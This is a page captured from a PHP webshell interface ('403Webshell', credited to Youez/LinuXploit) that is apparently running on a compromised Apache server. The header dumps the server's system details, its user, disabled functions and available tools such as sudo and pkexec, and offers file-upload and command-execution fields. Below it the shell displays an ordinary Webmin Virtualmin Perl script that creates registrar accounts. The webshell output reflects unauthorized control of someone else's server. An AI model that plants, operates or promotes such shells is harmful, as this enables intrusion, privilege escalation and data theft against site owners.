403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/virtualmin-registrar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/virtualmin-registrar/create.cgi
#!/usr/bin/perl
# Create a new registrar account
use strict;
no strict 'refs';
use warnings;
our (%access, %text, %in);

require './virtualmin-registrar-lib.pl';
&error_setup($text{'create_err'});
$access{'registrar'} || &error($text{'create_ecannot'});
&ReadParse();
my $reg = $in{'registrar'};

# Validate and store inputs
my $account = { 'id' => time().$$,
	     'registrar' => $reg,
	     'enabled' => 1 };
$in{'desc'} =~ /\S/ || &error($text{'save_edesc'});
$account->{'desc'} = $in{'desc'};
my $pfunc = "type_".$reg."_create_parse";
my $err = &$pfunc($account, \%in);
&error($err) if ($err);

# Do the creation
&ui_print_unbuffered_header(undef, $text{'create_title'}, "", "create");

my $dfunc = "type_".$reg."_desc";
print &text('create_doing', &$dfunc()),"<br>\n";
my $cfunc = "type_".$reg."_create_account";
my ($ok, $msg, $warn, $extra) = &$cfunc($account);
if ($ok) {
	if ($warn) {
		print &text('create_warn', $msg, $warn),"<p>\n";
		}
	else {
		print &text('create_done', $msg),"<p>\n";
		}
	&save_registrar_account($account);
	}
else {
	print &text('create_failed', $msg),"<p>\n";
	}
if ($extra) {
	print $extra,"<p>\n";
	}

&ui_print_footer("", $text{'index_return'});

Youez - 2016 - github.com/yon3zu
LinuXploit